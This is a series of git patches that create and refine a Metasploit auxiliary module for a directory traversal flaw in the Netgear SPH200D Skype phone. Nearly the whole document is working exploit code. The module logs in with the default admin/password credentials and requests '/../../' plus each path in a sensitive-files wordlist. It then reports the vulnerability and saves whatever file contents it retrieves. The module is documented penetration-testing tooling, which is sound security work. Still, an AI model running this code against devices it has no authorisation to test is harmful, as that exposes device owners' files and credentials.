From ea5e993bf3f2e566429e124e34b55f190c71f804 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Tue, 29 Jan 2013 22:02:29 +0100 Subject: [PATCH 1/7] initial --- .../admin/http/netgear_sph200d_traversal.rb | 134 ++++++++++++++++++ 1 file changed, 134 insertions(+) create mode 100644 modules/auxiliary/admin/http/netgear_sph200d_traversal.rb diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb new file mode 100644 index 0000000000..dde5408996 --- /dev/null +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -0,0 +1,134 @@ +## +# $Id: tomcat_utf8_traversal.rb 14975 2012-03-18 01:39:05Z rapid7 $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::WmapScanServer + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Netgear SPH200D - Directory Traversal Vulnerability', + 'Version' => '$$', + 'Description' => %q{ + This module exploits a directory traversal vulnerablity which is present + in Netgear SPH200D Skype telephone + You may wish to change SENSITIVE_FILES (hosts sensitive files), RPORT depending + on your environment. + }, + 'References' => + [ + [ 'URL', 'http://support.netgear.com/product/SPH200D' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ], + ], + 'Author' => [ 'm-1-k-3' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(80), + OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line", + File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]), + OptString.new('USERNAME',[ true, 'User to login with', 'admin']), + OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), + + ], self.class) + end + + def extract_words(wordfile) + return [] unless wordfile && File.readable?(wordfile) + begin + words = File.open(wordfile, "rb") do |f| + f.read + end + rescue + return [] + end + save_array = words.split(/\r?\n/) + return save_array + end + + def find_files(files,user,pass) + traversal = '/../..' + + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => traversal << files, + 'basic_auth' => "#{user}:#{pass}" + }) + if (res and res.code == 200) + print_status("Request may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n") + print_status("#{res.body}") + elsif (res and res.code) + vprint_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}") + end + end + + def run_host(ip) + user = datastore['USERNAME'] + if datastore['PASSWORD'].nil? + pass = "" + else + pass = datastore['PASSWORD'] + end + + print_status("Trying to login with #{user} / #{pass}") + + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'basic_auth' => "#{user}:#{pass}" + }) + + unless (res.kind_of? Rex::Proto::Http::Response) + vprint_error("#{target_url} not responding") + end + + return :abort if (res.code == 404) + + if [200, 301, 302].include?(res.code) + print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") + else + print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") + return :abort + end + + rescue ::Rex::ConnectionError + vprint_error("Failed to connect to the web server") + return :abort + end + + begin + print_status("Attempting to connect to #{rhost}:#{rport}") + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/', + 'basic_auth' => "#{user}:#{pass}" + }) + + if (res) + extract_words(datastore['SENSITIVE_FILES']).each do |files| + find_files(files,user,pass) unless files.empty? + end + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE + end + end +end From 0e22ee73b557197011c931061ee44240c1c1a6a1 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Fri, 1 Feb 2013 19:26:34 +0100 Subject: [PATCH 2/7] updates ... --- .../admin/http/netgear_sph200d_traversal.rb | 134 +++++++++--------- 1 file changed, 67 insertions(+), 67 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index dde5408996..d9a0a23fd8 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -1,7 +1,3 @@ -## -# $Id: tomcat_utf8_traversal.rb 14975 2012-03-18 01:39:05Z rapid7 $ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -14,13 +10,11 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::WmapScanServer include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Netgear SPH200D - Directory Traversal Vulnerability', - 'Version' => '$$', 'Description' => %q{ This module exploits a directory traversal vulnerablity which is present in Netgear SPH200D Skype telephone @@ -35,45 +29,58 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE ) - register_options( [ Opt::RPORT(80), - OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line", + OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line", File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]), OptString.new('USERNAME',[ true, 'User to login with', 'admin']), OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), - ], self.class) end def extract_words(wordfile) - return [] unless wordfile && File.readable?(wordfile) - begin - words = File.open(wordfile, "rb") do |f| - f.read - end - rescue - return [] - end - save_array = words.split(/\r?\n/) - return save_array + return [] unless wordfile && File.readable?(wordfile) + begin + words = File.open(wordfile, "rb") do |f| + f.read + end + rescue + return [] + end + save_array = words.split(/\r?\n/) + return save_array end - def find_files(files,user,pass) + #traversal every file + def find_files(file,user,pass) traversal = '/../..' - res = send_request_raw( - { - 'method' => 'GET', - 'uri' => traversal << files, - 'basic_auth' => "#{user}:#{pass}" + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => traversal << file, + 'basic_auth' => "#{user}:#{pass}" + }) + + if (res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/) + print_good("Request may have succeeded on #{rhost}:#{rport}:file->#{file}! Response: \r\n #{res.body}") + report_web_vuln({ + :host => rhost, + :port => rport, + :vhost => datastore['VHOST'], + :path => traversal << file, + :pname => traversal, + :risk => 3, + :proof => traversal, + :name => self.fullname, + :category => "web", + :method => "GET" }) - if (res and res.code == 200) - print_status("Request may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n") - print_status("#{res.body}") + + loot = store_loot("lfi.data","text/plain",rhost, res.body,file) + print_good("File #{file} downloaded to: #{loot}") elsif (res and res.code) - vprint_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}") + vprint_error("Attempt returned HTTP error #{res.code} and Body #{res.body} on #{rhost}:#{rport}:file->#{file}") end end @@ -85,50 +92,43 @@ class Metasploit3 < Msf::Auxiliary pass = datastore['PASSWORD'] end - print_status("Trying to login with #{user} / #{pass}") - - begin - res = send_request_cgi({ - 'uri' => '/', - 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" - }) - - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{target_url} not responding") - end - - return :abort if (res.code == 404) - - if [200, 301, 302].include?(res.code) - print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - else - print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") - return :abort - end - - rescue ::Rex::ConnectionError - vprint_error("Failed to connect to the web server") - return :abort - end - + print_status("Trying to login with #{user} / #{pass}") + + #test login begin - print_status("Attempting to connect to #{rhost}:#{rport}") - res = send_request_raw( - { + res = send_request_cgi({ + 'uri' => '/', 'method' => 'GET', - 'uri' => '/', 'basic_auth' => "#{user}:#{pass}" - }) + }) - if (res) - extract_words(datastore['SENSITIVE_FILES']).each do |files| - find_files(files,user,pass) unless files.empty? - end + return :abort if (res.code == 404) + + if [200, 301, 302].include?(res.code) + vprint_good("Successful login: #{user} : #{pass} on #{rhost}:#{rport}") + else + vprint_error("No successful login possible. #{user} : #{pass} on #{rhost}:#{rport}") + return :abort end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + rescue ::Rex::ConnectionError + vprint_error("Failed to connect to the web server") + return :abort + end + + begin + vprint_status("Attempting to connect to #{rhost}:#{rport}") + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'basic_auth' => "#{user}:#{pass}" + }) + if (res) + extract_words(datastore['FILELIST']).each do |file| + find_files(file,user,pass) unless file.empty? + end + end + end end end From fdd5fe77c12917b3264f95f44d8f451af90fd95c Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Fri, 1 Feb 2013 19:59:19 +0100 Subject: [PATCH 3/7] more updates ... --- .../admin/http/netgear_sph200d_traversal.rb | 21 +++---------------- 1 file changed, 3 insertions(+), 18 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index d9a0a23fd8..693bc5cf13 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -86,11 +86,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) user = datastore['USERNAME'] - if datastore['PASSWORD'].nil? - pass = "" - else - pass = datastore['PASSWORD'] - end + pass = datastore['PASSWORD'] print_status("Trying to login with #{user} / #{pass}") @@ -116,19 +112,8 @@ class Metasploit3 < Msf::Auxiliary return :abort end - begin - vprint_status("Attempting to connect to #{rhost}:#{rport}") - res = send_request_cgi({ - 'uri' => '/', - 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" - }) - if (res) - extract_words(datastore['FILELIST']).each do |file| - find_files(file,user,pass) unless file.empty? - end - end - + extract_words(datastore['FILELIST']).each do |file| + find_files(file,user,pass) unless file.empty? end end end From 988761a6dea9018955f65fec9652ba47126ebf2e Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Fri, 1 Feb 2013 20:18:53 +0100 Subject: [PATCH 4/7] more updates, BID, Exploit-DB --- modules/auxiliary/admin/http/netgear_sph200d_traversal.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 693bc5cf13..1bf1be8c33 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -25,6 +25,8 @@ class Metasploit3 < Msf::Auxiliary [ [ 'URL', 'http://support.netgear.com/product/SPH200D' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ], + [ 'BID', '57660' ], + [ 'EDB', '24441' ], ], 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE @@ -63,7 +65,8 @@ class Metasploit3 < Msf::Auxiliary }) if (res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/) - print_good("Request may have succeeded on #{rhost}:#{rport}:file->#{file}! Response: \r\n #{res.body}") + print_good("Request may have succeeded on #{rhost}:#{rport}:file->#{file}!") + vprint_status("Response: \r\n #{res.body}") report_web_vuln({ :host => rhost, :port => rport, @@ -99,6 +102,7 @@ class Metasploit3 < Msf::Auxiliary }) return :abort if (res.code == 404) + return :abort if res.nil? if [200, 301, 302].include?(res.code) vprint_good("Successful login: #{user} : #{pass} on #{rhost}:#{rport}") From 152f397a1f8a2df61fdf07713159aa77f5138f88 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 Feb 2013 20:38:11 +0100 Subject: [PATCH 5/7] first module cleanup --- .../admin/http/netgear_sph200d_traversal.rb | 81 +++++++++---------- 1 file changed, 39 insertions(+), 42 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 1bf1be8c33..fdf30c879e 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -14,19 +14,17 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Netgear SPH200D - Directory Traversal Vulnerability', + 'Name' => 'Netgear SPH200D Directory Traversal Vulnerability', 'Description' => %q{ - This module exploits a directory traversal vulnerablity which is present - in Netgear SPH200D Skype telephone - You may wish to change SENSITIVE_FILES (hosts sensitive files), RPORT depending - on your environment. - }, + This module exploits a directory traversal vulnerablity which is present in + Netgear SPH200D Skype telephone. + }, 'References' => [ - [ 'URL', 'http://support.netgear.com/product/SPH200D' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ], [ 'BID', '57660' ], [ 'EDB', '24441' ], + [ 'URL', 'http://support.netgear.com/product/SPH200D' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ] ], 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE @@ -37,53 +35,52 @@ class Metasploit3 < Msf::Auxiliary OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line", File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]), OptString.new('USERNAME',[ true, 'User to login with', 'admin']), - OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), + OptString.new('PASSWORD',[ true, 'Password to login with', 'password']) ], self.class) end def extract_words(wordfile) - return [] unless wordfile && File.readable?(wordfile) - begin - words = File.open(wordfile, "rb") do |f| - f.read - end - rescue - return [] + return [] unless wordfile && File.readable?(wordfile) + begin + words = File.open(wordfile, "rb") do |f| + f.read end - save_array = words.split(/\r?\n/) - return save_array + rescue + return [] + end + save_array = words.split(/\r?\n/) + return save_array end #traversal every file def find_files(file,user,pass) - traversal = '/../..' + traversal = '/../../' res = send_request_cgi({ - 'method' => 'GET', - 'uri' => traversal << file, + 'method' => 'GET', + 'uri' => normalize_uri(traversal, file), 'basic_auth' => "#{user}:#{pass}" - }) + }) - if (res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/) - print_good("Request may have succeeded on #{rhost}:#{rport}:file->#{file}!") - vprint_status("Response: \r\n #{res.body}") + if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/ + print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}") report_web_vuln({ :host => rhost, :port => rport, :vhost => datastore['VHOST'], - :path => traversal << file, - :pname => traversal, + :path => "/", + :pname => normalize_uri(traversal, file), :risk => 3, - :proof => traversal, + :proof => normalize_uri(traversal, file), :name => self.fullname, :category => "web", :method => "GET" - }) + }) - loot = store_loot("lfi.data","text/plain",rhost, res.body,file) - print_good("File #{file} downloaded to: #{loot}") - elsif (res and res.code) - vprint_error("Attempt returned HTTP error #{res.code} and Body #{res.body} on #{rhost}:#{rport}:file->#{file}") + loot = store_loot("lfi.data","text/plain",rhost, res.body,file) + vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}") + elsif res and res.code + vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}") end end @@ -96,24 +93,24 @@ class Metasploit3 < Msf::Auxiliary #test login begin res = send_request_cgi({ - 'uri' => '/', - 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" - }) + 'uri' => '/', + 'method' => 'GET', + 'basic_auth' => "#{user}:#{pass}" + }) - return :abort if (res.code == 404) return :abort if res.nil? + return :abort if (res.code == 404) if [200, 301, 302].include?(res.code) - vprint_good("Successful login: #{user} : #{pass} on #{rhost}:#{rport}") + vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else - vprint_error("No successful login possible. #{user} : #{pass} on #{rhost}:#{rport}") + vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") return :abort end rescue ::Rex::ConnectionError - vprint_error("Failed to connect to the web server") - return :abort + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return :abort end extract_words(datastore['FILELIST']).each do |file| From 996ee06b0fc79aa621f953058f2048d9aea02f72 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 Feb 2013 20:43:54 +0100 Subject: [PATCH 6/7] fix another print_ call --- modules/auxiliary/admin/http/netgear_sph200d_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index fdf30c879e..478a0c39da 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary user = datastore['USERNAME'] pass = datastore['PASSWORD'] - print_status("Trying to login with #{user} / #{pass}") + vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") #test login begin From c24c926ffaa1da011df5e38dd36e3ad48d8b7e59 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 Feb 2013 20:55:06 +0100 Subject: [PATCH 7/7] add aditional check to detect valid device --- modules/auxiliary/admin/http/netgear_sph200d_traversal.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 478a0c39da..311bb83896 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -99,6 +99,7 @@ class Metasploit3 < Msf::Auxiliary }) return :abort if res.nil? + return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/) return :abort if (res.code == 404) if [200, 301, 302].include?(res.code)